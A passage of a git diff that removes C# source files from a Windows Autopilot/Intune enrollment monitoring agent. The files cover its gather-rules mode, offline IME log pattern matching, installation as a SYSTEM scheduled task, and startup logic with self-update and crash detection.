({startupRules.Count} rule(s))", - Data = new Dictionary - { - { "ruleCount", startupRules.Count }, - { "agentVersion", agentVersion } - } - }); - - using (var executor = new GatherRuleExecutor( - config.SessionId, - config.TenantId, - emitEvent, - logger, - config.ImeLogPathOverride)) - { - executor.UpdateRules(rules); - - // Step 5: Wait for all startup rules to finish — no fixed sleep, - // exits as soon as the last rule completes (120 s hard cap). - const int maxWaitSeconds = 120; - logger.Info($"Waiting for startup rules to complete (max {maxWaitSeconds}s)..."); - if (consoleMode) - Console.WriteLine($"Running {startupRules.Count} rule(s)..."); - - var allCompleted = executor.WaitForStartupRules(maxWaitSeconds); - if (!allCompleted) - { - logger.Warning($"Some gather rules did not complete within {maxWaitSeconds}s (results may be incomplete)"); - if (consoleMode) - Console.WriteLine($"WARNING: Some rules timed out after {maxWaitSeconds}s."); - } - else - { - logger.Info("All startup rules completed"); - if (consoleMode) Console.WriteLine("All rules completed."); - } - } - - // Step 6: Upload all collected events - List eventsToUpload; - lock (evtLock) - eventsToUpload = new List(collectedEvents); - - // +1 because the completed event itself is also uploaded - var totalEventCount = eventsToUpload.Count + 1; - emitEvent(new EnrollmentEvent - { - SessionId = config.SessionId, - TenantId = config.TenantId, - Timestamp = DateTime.UtcNow, - EventType = "gather_rules_collection_completed", - Severity = EventSeverity.Info, - Source = "Agent", - Phase = EnrollmentPhase.Start, - Message = $"Gather rules collection completed ({totalEventCount} event(s) collected)", - Data = new Dictionary - { - { "totalEvents", totalEventCount } - } - }); - // Re-snapshot after adding the completed event - lock (evtLock) - eventsToUpload = new List(collectedEvents); - - logger.Info($"Uploading {eventsToUpload.Count} collected event(s)..."); - if (consoleMode) - Console.WriteLine($"Uploading {eventsToUpload.Count} event(s)..."); - - if (eventsToUpload.Count > 0) - { - try - { - var request = new IngestEventsRequest - { - SessionId = config.SessionId, - TenantId = config.TenantId, - Events = eventsToUpload - }; - - var uploadResponse = apiClient.IngestEventsAsync(request).Result; - if (uploadResponse.Success) - { - logger.Info($"Uploaded {uploadResponse.EventsProcessed} event(s) successfully"); - if (consoleMode) - Console.WriteLine($"Uploaded {uploadResponse.EventsProcessed} event(s) successfully."); - } - else - { - logger.Warning($"Upload failed: {uploadResponse.Message}"); - if (consoleMode) - Console.WriteLine($"Upload failed: {uploadResponse.Message}"); - } - } - catch (Exception ex) - { - logger.Error("Failed to upload events", ex); - if (consoleMode) - Console.WriteLine($"ERROR uploading events: {ex.Message}"); - } - } - else - { - logger.Info("No events were collected"); - if (consoleMode) - Console.WriteLine("No events were collected."); - } - } - - if (consoleMode) - Console.WriteLine("\nGather rules run complete."); - } - catch (Exception ex) - { - if (consoleMode) - { - Console.WriteLine($"ERROR: {ex.Message}"); - Console.WriteLine(ex.StackTrace); - } - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent/Program.ImeMatchingMode.cs b/src/Agent/AutopilotMonitor.Agent/Program.ImeMatchingMode.cs deleted file mode 100644 index 4c450fa5..00000000 --- a/src/Agent/AutopilotMonitor.Agent/Program.ImeMatchingMode.cs +++ /dev/null @@ -1,339 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Net.Http; -using System.Text; -using System.Text.RegularExpressions; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent -{ - partial class Program - { - // Same patterns ImeLogTracker uses for file discovery - private static readonly string[] ImeLogFilePatterns = new[] - { - "IntuneManagementExtension.log", - "_IntuneManagementExtension.log", - "IntuneManagementExtension-????????-??????.log", - "AppWorkload.log", - "AppWorkload-????????-??????.log", - "AgentExecutor.log", - "AgentExecutor-????????-??????.log", - "HealthScripts.log", - "HealthScripts-????????-??????.log" - }; - - private const string GuidPattern = @"(?[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12})"; - private const string PatternsGitHubUrl = "https://raw.githubusercontent.com/okieselbach/Autopilot-Monitor/refs/heads/main/rules/dist/ime-log-patterns.json"; - - /// - /// Standalone IME log pattern matching mode. Parses IME log files from the given path - /// and writes all pattern matches to ime_pattern_matching.log. - /// - static void RunImeMatchingMode(string[] args) - { - Console.WriteLine("Autopilot Monitor Agent — IME Pattern Matching"); - Console.WriteLine("==============================================="); - Console.WriteLine(); - - // Parse the path argument - var pathIndex = Array.IndexOf(args, "--run-ime-matching"); - if (pathIndex < 0 || pathIndex + 1 >= args.Length) - { - Console.WriteLine("ERROR: --run-ime-matching requires a path argument (file or directory)."); - Console.WriteLine("Usage: AutopilotMonitor.Agent.exe --run-ime-matching [--patterns ]"); - return; - } - - var inputPath = args[pathIndex + 1]; - - // Optional: local patterns file override - string patternsFile = null; - var patternsIndex = Array.IndexOf(args, "--patterns"); - if (patternsIndex >= 0 && patternsIndex + 1 < args.Length) - patternsFile = args[patternsIndex + 1]; - - // Determine input files - var logFiles = new List(); - string outputDir; - - if (File.Exists(inputPath)) - { - // Single file mode - logFiles.Add(Path.GetFullPath(inputPath)); - outputDir = Path.GetDirectoryName(Path.GetFullPath(inputPath)); - Console.WriteLine($"Mode: Single file"); - Console.WriteLine($"Input: {Path.GetFullPath(inputPath)}"); - } - else if (Directory.Exists(inputPath)) - { - // Directory mode: find all IME log files - var fullDir = Path.GetFullPath(inputPath); - foreach (var pattern in ImeLogFilePatterns) - { - try - { - logFiles.AddRange(Directory.GetFiles(fullDir, pattern)); - } - catch (DirectoryNotFoundException) { } - } - - logFiles.Sort(StringComparer.OrdinalIgnoreCase); - outputDir = fullDir; - - Console.WriteLine($"Mode: Directory scan"); - Console.WriteLine($"Input: {fullDir}"); - Console.WriteLine($"Log files: {logFiles.Count}"); - - if (logFiles.Count == 0) - { - Console.WriteLine(); - Console.WriteLine("No IME log files found in the specified directory."); - Console.WriteLine("Expected files: IntuneManagementExtension*.log, AppWorkload*.log, AgentExecutor*.log, HealthScripts*.log"); - return; - } - } - else - { - Console.WriteLine($"ERROR: Path not found: {inputPath}"); - return; - } - - // Load patterns - List patterns; - if (!string.IsNullOrEmpty(patternsFile)) - { - Console.WriteLine($"Patterns: {patternsFile} (local file)"); - patterns = LoadPatternsFromFile(patternsFile); - } - else - { - Console.WriteLine($"Patterns: GitHub (latest)"); - patterns = LoadPatternsFromGitHub(); - } - - if (patterns == null || patterns.Count == 0) - { - Console.WriteLine("ERROR: No patterns loaded. Cannot proceed."); - return; - } - - Console.WriteLine($"Loaded: {patterns.Count} patterns ({patterns.Count(p => p.Enabled)} enabled)"); - - // Compile patterns - var compiledPatterns = CompileMatchingPatterns(patterns); - Console.WriteLine($"Compiled: {compiledPatterns.Count} patterns"); - - // Output file - var outputPath = Path.Combine(outputDir, "ime_pattern_matching.log"); - Console.WriteLine($"Output: {outputPath}"); - Console.WriteLine(); - - // Clear existing output - if (File.Exists(outputPath)) - File.Delete(outputPath); - - // Scan all files - int totalLines = 0; - int totalMatches = 0; - var matchCountByPattern = new Dictionary(StringComparer.OrdinalIgnoreCase); - - foreach (var filePath in logFiles) - { - var fileName = Path.GetFileName(filePath); - Console.Write($" Scanning {fileName}..."); - - int fileLines = 0; - int fileMatches = 0; - - try - { - using (var stream = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) - using (var reader = new StreamReader(stream, Encoding.UTF8, detectEncodingFromByteOrderMarks: true)) - { - string line; - while ((line = reader.ReadLine()) != null) - { - fileLines++; - - // Parse CMTrace format to get message content - CmTraceLogEntry entry; - string messageToMatch; - if (CmTraceLogParser.TryParseLine(line, out entry)) - { - messageToMatch = entry.Message; - } - else - { - messageToMatch = line; - } - - if (string.IsNullOrEmpty(messageToMatch)) continue; - - // Match against all compiled patterns - foreach (var pattern in compiledPatterns) - { - try - { - var match = pattern.Regex.Match(messageToMatch); - if (match.Success) - { - fileMatches++; - var logEntry = $"[{fileName}] [{pattern.PatternId}] {line}"; - File.AppendAllText(outputPath, logEntry + Environment.NewLine); - - if (!matchCountByPattern.ContainsKey(pattern.PatternId)) - matchCountByPattern[pattern.PatternId] = 0; - matchCountByPattern[pattern.PatternId]++; - } - } - catch (RegexMatchTimeoutException) { } - } - } - } - } - catch (Exception ex) - { - Console.WriteLine($" ERROR: {ex.Message}"); - continue; - } - - totalLines += fileLines; - totalMatches += fileMatches; - Console.WriteLine($" {fileLines} lines, {fileMatches} matches"); - } - - // Summary - Console.WriteLine(); - Console.WriteLine("=== Summary ==="); - Console.WriteLine($"Files scanned: {logFiles.Count}"); - Console.WriteLine($"Lines parsed: {totalLines}"); - Console.WriteLine($"Total matches: {totalMatches}"); - Console.WriteLine($"Output: {outputPath}"); - - if (matchCountByPattern.Count > 0) - { - Console.WriteLine(); - Console.WriteLine("Matches by pattern:"); - foreach (var kvp in matchCountByPattern.OrderByDescending(x => x.Value)) - { - Console.WriteLine($" {kvp.Key,-40} {kvp.Value,5}"); - } - } - } - - private static List LoadPatternsFromGitHub() - { - try - { - Console.Write(" Downloading patterns from GitHub..."); - using (var handler = new HttpClientHandler()) - using (var client = new HttpClient(handler) { Timeout = TimeSpan.FromSeconds(15) }) - { - var json = client.GetStringAsync(PatternsGitHubUrl).GetAwaiter().GetResult(); - var wrapper = JsonConvert.DeserializeObject(json); - var patterns = wrapper?.Rules ?? new List(); - Console.WriteLine(" OK"); - return patterns; - } - } - catch (Exception ex) - { - Console.WriteLine($" FAILED: {ex.Message}"); - - // Fallback: try cached remote-config.json - try - { - var cachePath = Environment.ExpandEnvironmentVariables(@"%ProgramData%\AutopilotMonitor\Config\remote-config.json"); - if (File.Exists(cachePath)) - { - Console.Write(" Falling back to cached remote-config.json..."); - var json = File.ReadAllText(cachePath); - var config = JsonConvert.DeserializeObject(json); - if (config?.ImeLogPatterns != null && config.ImeLogPatterns.Count > 0) - { - Console.WriteLine(" OK"); - return config.ImeLogPatterns; - } - } - } - catch { } - - Console.WriteLine(" No fallback available."); - return null; - } - } - - private static List LoadPatternsFromFile(string filePath) - { - try - { - if (!File.Exists(filePath)) - { - Console.WriteLine($"ERROR: Patterns file not found: {filePath}"); - return null; - } - - var json = File.ReadAllText(filePath); - var wrapper = JsonConvert.DeserializeObject(json); - return wrapper?.Rules ?? new List(); - } - catch (Exception ex) - { - Console.WriteLine($"ERROR: Failed to load patterns file: {ex.Message}"); - return null; - } - } - - private static List CompileMatchingPatterns(List patterns) - { - var compiled = new List(); - - foreach (var pattern in patterns.Where(p => p.Enabled)) - { - try - { - var regexStr = pattern.Pattern.Replace("{GUID}", GuidPattern); - var regex = new Regex(regexStr, RegexOptions.IgnoreCase | RegexOptions.Compiled | RegexOptions.Singleline, TimeSpan.FromSeconds(1)); - compiled.Add(new MatchPattern - { - PatternId = pattern.PatternId, - Regex = regex - }); - } - catch (Exception ex) - { - Console.WriteLine($" WARNING: Failed to compile pattern {pattern.PatternId}: {ex.Message}"); - } - } - - return compiled; - } - - private class MatchPattern - { - public string PatternId { get; set; } - public Regex Regex { get; set; } - } - - private class PatternsFileWrapper - { - [JsonProperty("rules")] - public List Rules { get; set; } = new List(); - } - - private class CachedConfigWrapper - { - [JsonProperty("imeLogPatterns")] - public List ImeLogPatterns { get; set; } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent/Program.InstallMode.cs b/src/Agent/AutopilotMonitor.Agent/Program.InstallMode.cs deleted file mode 100644 index 86d283b1..00000000 --- a/src/Agent/AutopilotMonitor.Agent/Program.InstallMode.cs +++ /dev/null @@ -1,240 +0,0 @@ -using System; -using System.Diagnostics; -using System.IO; -using System.Linq; -using System.Reflection; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared; -using Microsoft.Win32; - -namespace AutopilotMonitor.Agent -{ - partial class Program - { - static void RunInstallMode(string[] args) - { - var logDir = Environment.ExpandEnvironmentVariables(Constants.LogDirectory); - var logger = new AgentLogger(logDir, AgentLogLevel.Debug); - var consoleMode = args.Contains("--console") || Environment.UserInteractive; - - try - { - logger.Info("======================= Agent install mode (--install) ======================="); - - EnsureAgentDirectories(logger); - - var sourceExePath = Assembly.GetExecutingAssembly().Location; - var sourceDir = Path.GetDirectoryName(sourceExePath) ?? string.Empty; - var targetAgentDir = Environment.ExpandEnvironmentVariables(Path.Combine(Constants.AgentDataDirectory, "Agent")); - var targetExePath = Path.Combine(targetAgentDir, "AutopilotMonitor.Agent.exe"); - - if (!string.Equals( - Path.GetFullPath(sourceDir).TrimEnd('\\'), - Path.GetFullPath(targetAgentDir).TrimEnd('\\'), - StringComparison.OrdinalIgnoreCase)) - { - logger.Info($"Install mode called from '{sourceDir}'. Deploying payload to '{targetAgentDir}'."); - CopyDirectory(sourceDir, targetAgentDir, logger); - } - else - { - logger.Info("Agent already running from target install directory; payload copy not required."); - } - - // Persist bootstrap config if --bootstrap-token was provided. - // The Scheduled Task command line has no args, so the agent reads this file on restart. - var bootstrapTokenArg = GetArgValue(args, "--bootstrap-token"); - var tenantIdArg = GetArgValue(args, "--tenant-id"); - if (!string.IsNullOrEmpty(bootstrapTokenArg)) - { - var dataDir = Environment.ExpandEnvironmentVariables(Constants.AgentDataDirectory); - var bootstrapConfigPath = Path.Combine(dataDir, "bootstrap-config.json"); - var bootstrapConfig = new BootstrapConfigFile - { - BootstrapToken = bootstrapTokenArg, - TenantId = tenantIdArg - }; - File.WriteAllText(bootstrapConfigPath, Newtonsoft.Json.JsonConvert.SerializeObject(bootstrapConfig)); - logger.Info("Bootstrap config persisted for Scheduled Task"); - } - - // Persist await-enrollment config if --await-enrollment was provided. - // The Scheduled Task command line has no args, so the agent reads this file on restart. - if (args.Contains("--await-enrollment")) - { - var dataDir = Environment.ExpandEnvironmentVariables(Constants.AgentDataDirectory); - var awaitConfigPath = Path.Combine(dataDir, "await-enrollment.json"); - var awaitTimeoutArg = GetArgValue(args, "--await-enrollment-timeout"); - var timeoutMinutes = 480; - if (!string.IsNullOrEmpty(awaitTimeoutArg) && int.TryParse(awaitTimeoutArg, out var parsed)) - timeoutMinutes = parsed; - - var awaitConfig = new AwaitEnrollmentConfigFile { TimeoutMinutes = timeoutMinutes }; - File.WriteAllText(awaitConfigPath, Newtonsoft.Json.JsonConvert.SerializeObject(awaitConfig)); - logger.Info($"Await-enrollment config persisted for Scheduled Task (timeout: {timeoutMinutes}min)"); - } - - var taskName = Constants.ScheduledTaskName; - var taskCommand = $"\"{targetExePath}\""; - - logger.Info($"Registering Scheduled Task '{taskName}' for executable: {targetExePath}"); - - var createExitCode = RunProcess( - "schtasks.exe", - $"/Create /TN \"{taskName}\" /TR \"{taskCommand}\" /SC ONSTART /RU SYSTEM /RL HIGHEST /F", - logger); - - if (createExitCode != 0) - { - throw new InvalidOperationException($"Failed to create/update Scheduled Task '{taskName}' (exit code {createExitCode})"); - } - - logger.Info($"Scheduled Task '{taskName}' created/updated successfully"); - - var startExitCode = RunProcess( - "schtasks.exe", - $"/Run /TN \"{taskName}\"", - logger); - - if (startExitCode != 0) - { - throw new InvalidOperationException($"Failed to start Scheduled Task '{taskName}' (exit code {startExitCode})"); - } - - logger.Info($"Scheduled Task '{taskName}' started successfully"); - - // Write deployment marker — survives self-destruct, prevents ghost re-installs. - // Written here (not in bootstrap script) so manual --install also sets it. - try - { - using (var regKey = Registry.LocalMachine.CreateSubKey(@"SOFTWARE\AutopilotMonitor")) - { - regKey.SetValue("Deployed", DateTime.UtcNow.ToString("O")); - } - logger.Info("Deployment registry marker written (HKLM\\SOFTWARE\\AutopilotMonitor\\Deployed)"); - } - catch (Exception regEx) - { - logger.Warning($"Failed to write deployment registry marker: {regEx.Message}"); - } - - if (consoleMode) - { - Console.WriteLine("Installation completed successfully."); - Console.WriteLine($"Task: {taskName}"); - Console.WriteLine($"Executable: {targetExePath}"); - Console.WriteLine($"Log: {logDir}"); - } - - Environment.Exit(0); - } - catch (Exception ex) - { - logger.Error("Registration mode failed", ex); - if (consoleMode) - { - Console.WriteLine($"ERROR: {ex.Message}"); - } - Environment.Exit(1); - } - } - - private static void EnsureAgentDirectories(AgentLogger logger) - { - var basePath = Environment.ExpandEnvironmentVariables(Constants.AgentDataDirectory); - var paths = new[] - { - basePath, - Path.Combine(basePath, "Agent"), - Environment.ExpandEnvironmentVariables(Constants.SpoolDirectory), - Environment.ExpandEnvironmentVariables(Constants.LogDirectory) - }; - - foreach (var path in paths) - { - if (!Directory.Exists(path)) - { - Directory.CreateDirectory(path); - logger.Info($"Created directory: {path}"); - } - else - { - logger.Debug($"Directory already exists: {path}"); - } - } - } - - private static int RunProcess(string fileName, string arguments, AgentLogger logger) - { - var psi = new ProcessStartInfo - { - FileName = fileName, - Arguments = arguments, - UseShellExecute = false, - RedirectStandardOutput = true, - RedirectStandardError = true, - CreateNoWindow = true - }; - - logger.Info($"Executing: {fileName} {arguments}"); - - using (var process = Process.Start(psi)) - { - if (process == null) - throw new InvalidOperationException($"Failed to start process: {fileName}"); - - var stdout = process.StandardOutput.ReadToEnd(); - var stderr = process.StandardError.ReadToEnd(); - process.WaitForExit(); - - if (!string.IsNullOrWhiteSpace(stdout)) - logger.Info($"Process output: {stdout.Trim()}"); - if (!string.IsNullOrWhiteSpace(stderr)) - logger.Warning($"Process error output: {stderr.Trim()}"); - - logger.Info($"Process exit code: {process.ExitCode}"); - return process.ExitCode; - } - } - - private static void CopyDirectory(string sourceDir, string targetDir, AgentLogger logger) - { - if (!Directory.Exists(sourceDir)) - throw new DirectoryNotFoundException($"Source directory not found: {sourceDir}"); - - Directory.CreateDirectory(targetDir); - - foreach (var dir in Directory.GetDirectories(sourceDir, "*", SearchOption.AllDirectories)) - { - var rel = dir.Substring(sourceDir.Length).TrimStart('\\'); - Directory.CreateDirectory(Path.Combine(targetDir, rel)); - } - - foreach (var file in Directory.GetFiles(sourceDir, "*", SearchOption.AllDirectories)) - { - var rel = file.Substring(sourceDir.Length).TrimStart('\\'); - var dest = Path.Combine(targetDir, rel); - Directory.CreateDirectory(Path.GetDirectoryName(dest) ?? targetDir); - - try - { - File.Copy(file, dest, true); - } - catch (Exception ex) - { - // If destination exists, keep going and let scheduled task use the latest available payload. - if (File.Exists(dest)) - { - logger.Warning($"Could not overwrite '{dest}': {ex.Message}. Keeping existing file."); - continue; - } - - throw; - } - } - - logger.Info($"Payload deployment completed: '{sourceDir}' -> '{targetDir}'"); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent/Program.cs b/src/Agent/AutopilotMonitor.Agent/Program.cs deleted file mode 100644 index d6da06b8..00000000 --- a/src/Agent/AutopilotMonitor.Agent/Program.cs +++ /dev/null @@ -1,558 +0,0 @@ -using System; -using System.Diagnostics; -using System.Diagnostics.Eventing.Reader; -using System.IO; -using System.Linq; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using AutopilotMonitor.Agent.Core.Security; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent -{ - partial class Program - { - static void Main(string[] args) - { - if (args.Contains("--help") || args.Contains("-h") || args.Contains("-?")) - { - PrintUsage(); - return; - } - - // Install mode: ensure folders, deploy payload, create/update Scheduled Task, and start it. - if (args.Contains("--install")) - { - RunInstallMode(args); - return; - } - - // Gather rules mode: fetch remote config, execute all startup gather rules against the - // current (or newly created) session, upload the collected events, then exit. - if (args.Contains("--run-gather-rules")) - { - RunGatherRulesMode(args); - return; - } - - // IME matching mode: parse IME log files offline and produce ime_pattern_matching.log. - if (args.Contains("--run-ime-matching")) - { - RunImeMatchingMode(args); - return; - } - - // Register ProcessExit handler BEFORE RunAgent so we can distinguish - // OS shutdown/reboot (clean exit) from crashes (no marker written). - var stateDir = Environment.ExpandEnvironmentVariables(Constants.AgentDataDirectory); - var cleanExitMarkerPath = Path.Combine(stateDir, "clean-exit.marker"); - AppDomain.CurrentDomain.ProcessExit += (s, e) => - { - try { File.WriteAllText(cleanExitMarkerPath, DateTime.UtcNow.ToString("O")); } - catch { } - }; - - // Always run directly - no ServiceBase.Run. - // The agent is started by the Scheduled Task (SYSTEM) or manually with --console. - // Both paths land here and run identically; --console just enables console output. - RunAgent(args); - } - - static void RunAgent(string[] args) - { - var consoleMode = args.Contains("--console") || Environment.UserInteractive; - - // Process guard: prevent multiple agent instances from running - if (IsAnotherAgentInstanceRunning()) - { - var message = "Another agent process is already running. This instance will exit."; - if (consoleMode) - Console.WriteLine($"ERROR: {message}"); - - // Try to log if possible, but this might fail if logger isn't initialized yet - try - { - var logDir = Environment.ExpandEnvironmentVariables(Constants.LogDirectory); - var logger = new AgentLogger(logDir); - logger.Warning(message); - } - catch { } - - Environment.Exit(1); - return; - } - - if (consoleMode) - { - Console.WriteLine("Autopilot Monitor Agent"); - Console.WriteLine("======================="); - Console.WriteLine(); - } - - // Log init banner to separate this process from install-mode logs in the same file - SelfUpdater.LogInit(GetAgentVersion()); - - // Self-update: check for newer agent version in blob storage and apply if available. - // Priority: speed over update — 1s version check, 10s download timeout. - // Any failure → continue with current version (never block startup). - var agentDir = Environment.ExpandEnvironmentVariables(Constants.AgentDirectory); - SelfUpdater.CleanupPreviousUpdate(agentDir, msg => { if (consoleMode) Console.WriteLine(msg); }); - - // Try to load backend hash from cached remote-config.json (from a previous run). - // This gives the self-updater a second trust channel for integrity verification. - bool cachedAllowAgentDowngrade = false; - try - { - var cachedConfigPath = Environment.ExpandEnvironmentVariables(@"%ProgramData%\AutopilotMonitor\Config\remote-config.json"); - if (System.IO.File.Exists(cachedConfigPath)) - { - var cachedJson = System.IO.File.ReadAllText(cachedConfigPath); - var cachedConfig = Newtonsoft.Json.JsonConvert.DeserializeObject(cachedJson); - if (!string.IsNullOrEmpty(cachedConfig?.LatestAgentSha256)) - { - SelfUpdater.BackendExpectedSha256 = cachedConfig.LatestAgentSha256; - SelfUpdater.Log($"Self-update: loaded backend integrity hash from cached config (sha256={cachedConfig.LatestAgentSha256.Substring(0, Math.Min(12, cachedConfig.LatestAgentSha256.Length))}...)"); - } - else - { - SelfUpdater.Log("Self-update: no backend integrity hash in cached config — will use version.json hash as fallback"); - } - - cachedAllowAgentDowngrade = cachedConfig?.AllowAgentDowngrade ?? false; - if (cachedAllowAgentDowngrade) - SelfUpdater.Log("Self-update: cached config has AllowAgentDowngrade=true (downgrades permitted)"); - } - else - { - SelfUpdater.Log("Self-update: no cached remote-config.json — first run, will use version.json hash only"); - } - } - catch (Exception ex) - { - SelfUpdater.Log($"Self-update: could not load cached config for backend hash: {ex.Message}"); - } - - SelfUpdater.CheckAndApplyUpdateAsync( - GetAgentVersion(), - agentDir, - consoleMode, - allowDowngrade: cachedAllowAgentDowngrade).GetAwaiter().GetResult(); - // If we reach here, no update was applied — continue normal startup - - try - { - var config = LoadConfiguration(args); - - // CLI --log-level override (takes precedence over config file) - var cliLogLevel = GetArgValue(args, "--log-level"); - if (!string.IsNullOrEmpty(cliLogLevel) && Enum.TryParse(cliLogLevel, ignoreCase: true, out var parsedLevel)) - config.LogLevel = parsedLevel; - - var logDir = Environment.ExpandEnvironmentVariables(config.LogDirectory); - var logger = new AgentLogger(logDir, config.LogLevel); - if (consoleMode) - logger.EnableConsoleOutput = true; - - var agentVersion = GetAgentVersion(); - - logger.Info($"======================= Agent starting ({(consoleMode ? "console" : "background/SYSTEM")}) ======================="); - logger.Info($"Agent version: {agentVersion}"); - logger.Info($"Command line: {FormatArgsForLog(args)}"); - - // Check for enrollment complete marker (handles scheduled task cleanup retry) - if (CheckEnrollmentCompleteMarker(config, logger, consoleMode)) - { - // Marker was found and handled (cleanup executed or skipped) - exit - return; - } - - // Emergency break: absolute session age check across restarts. - // Prevents zombie agents that stay on the device forever due to logic errors. - if (CheckSessionAgeEmergencyBreak(config, logger, consoleMode)) - { - return; - } - - if (consoleMode) - { - Console.WriteLine($"Agent Version: {agentVersion}"); - Console.WriteLine($"Session ID: {config.SessionId}"); - Console.WriteLine($"Tenant ID: {config.TenantId}"); - Console.WriteLine($"API URL: {config.ApiBaseUrl}"); - Console.WriteLine($"Log Dir: {logDir}"); - Console.WriteLine($"Keep Logs: {config.KeepLogFile}"); - if (!string.IsNullOrEmpty(config.ReplayLogDir)) - Console.WriteLine($"Replay Dir: {config.ReplayLogDir} ({config.ReplaySpeedFactor}x)"); - if (config.RebootOnComplete) Console.WriteLine("Reboot: ON COMPLETE"); - if (config.UseClientCertAuth) - Console.WriteLine($"Cert Auth: ENABLED"); - if (config.AwaitEnrollment) - Console.WriteLine($"Await Enroll: ENABLED (timeout: {config.AwaitEnrollmentTimeoutMinutes}min)"); - Console.WriteLine(); - } - - // Await-enrollment mode: wait for MDM certificate before proceeding. - // Used when the agent is deployed before Intune enrollment completes. - if (config.AwaitEnrollment) - { - logger.Info("Await-enrollment mode active — waiting for MDM certificate before starting"); - if (consoleMode) - Console.WriteLine("Await-enrollment: Waiting for MDM certificate..."); - - var cert = EnrollmentAwaiter.WaitForMdmCertificateAsync( - timeoutMinutes: config.AwaitEnrollmentTimeoutMinutes, - logger: logger).GetAwaiter().GetResult(); - - if (cert == null) - { - logger.Warning("Await-enrollment: No MDM certificate found within timeout. Agent will exit."); - if (consoleMode) - Console.WriteLine("ERROR: No MDM certificate found within timeout. Agent will exit."); - return; - } - - if (consoleMode) - Console.WriteLine($"MDM certificate found: {cert.Thumbprint}"); - - // Re-read TenantId — enrollment creates the registry key alongside the - // certificate, so it should be available now. TenantIdResolver also probes - // CloudDomainJoin as a fallback and emits a source-tagged log line on hit. - if (string.IsNullOrEmpty(config.TenantId)) - { - config.TenantId = TenantIdResolver.Resolve(logger); - if (!string.IsNullOrEmpty(config.TenantId)) - { - if (consoleMode) - Console.WriteLine($"Tenant ID: {config.TenantId}"); - } - else - { - logger.Warning("Await-enrollment: MDM certificate found but TenantId still not resolvable."); - } - } - - // Remove persisted config so subsequent restarts proceed normally - try - { - var awaitConfigPath = Path.Combine( - Environment.ExpandEnvironmentVariables(Constants.AgentDataDirectory), - "await-enrollment.json"); - if (File.Exists(awaitConfigPath)) - { - File.Delete(awaitConfigPath); - logger.Info("Await-enrollment: Config file removed — subsequent starts will proceed normally"); - } - } - catch (Exception ex) - { - logger.Warning($"Await-enrollment: Could not remove config file: {ex.Message}"); - } - } - - // Pre-flight: bail cleanly if TenantId is missing instead of crashing inside - // MonitoringService.IsValid(). Mirrors V2's AgentBootstrap guard. Common cause: - // agent scheduled before MDM enrollment / AAD join populated the registry and - // no bootstrap-config.json present. The Scheduled Task will retry on next trigger. - // - // Re-probe with the logger if we never went through the await-enrollment branch - // (LoadConfiguration ran without a logger, so its initial probe was silent). The - // re-probe either resolves the race (registry caught up between config load and - // here) or emits the diagnostic block so the agent log captures registry state. - if (string.IsNullOrEmpty(config.TenantId) && !config.AwaitEnrollment) - { - config.TenantId = TenantIdResolver.Resolve(logger); - } - - if (string.IsNullOrEmpty(config.TenantId)) - { - logger.Error("Agent cannot start: TenantId not available (registry empty + no bootstrap config). " + - "This usually means the agent was scheduled before MDM enrollment populated the registry. " + - "Will retry on next scheduled trigger."); - if (consoleMode) - Console.WriteLine("ERROR: TenantId not available. Agent will exit cleanly (will retry on next trigger)."); - return; - } - - // Evaluate previous exit signals before starting the monitoring service. - // clean-exit.marker present → previous run exited cleanly (OS shutdown, reboot, normal exit) - // crash_*.log present → unhandled exception crash (with stack trace) - // neither → hard kill (power loss, BSOD, taskkill /F) or first run - var cleanExitMarker = Path.Combine( - Environment.ExpandEnvironmentVariables(Constants.AgentDataDirectory), - "clean-exit.marker"); - var crashLogDir = Environment.ExpandEnvironmentVariables(Constants.LogDirectory); - var hadCleanExit = File.Exists(cleanExitMarker); - var crashLogs = Directory.Exists(crashLogDir) - ? Directory.GetFiles(crashLogDir, "crash_*.log") - : Array.Empty(); - - string previousExitType; - string previousCrashException = null; - DateTime? lastBootUtc = null; - if (hadCleanExit) - { - previousExitType = "clean"; - } - else if (crashLogs.Length > 0) - { - previousExitType = "exception_crash"; - // Extract exception type from most recent crash log - try - { - var mostRecent = crashLogs[crashLogs.Length - 1]; // sorted by name = chronological - var crashContent = File.ReadAllText(mostRecent); - // Format: "[timestamp] FATAL: ExceptionType: message..." - var fatalIdx = crashContent.IndexOf("FATAL: "); - if (fatalIdx >= 0) - { - var afterFatal = crashContent.Substring(fatalIdx + 7); - var colonIdx = afterFatal.IndexOf(':'); - if (colonIdx > 0) - previousCrashException = afterFatal.Substring(0, colonIdx).Trim(); - } - } - catch { } - } - else - { - // No marker and no crash log — either first run ever, reboot kill, or hard kill - var sessionFile = Path.Combine( - Environment.ExpandEnvironmentVariables(Constants.AgentDataDirectory), "session.id"); - if (File.Exists(sessionFile)) - { - previousExitType = "hard_kill"; - // Check if a system reboot caused the kill by comparing - // the latest boot time (Event Log 6009) with session creation time. - lastBootUtc = GetLastBootTimeFromEventLog(); - var sessionCreatedFile = Path.Combine( - Environment.ExpandEnvironmentVariables(Constants.AgentDataDirectory), "session.created"); - if (lastBootUtc.HasValue && File.Exists(sessionCreatedFile)) - { - try - { - var content = File.ReadAllText(sessionCreatedFile).Trim(); - if 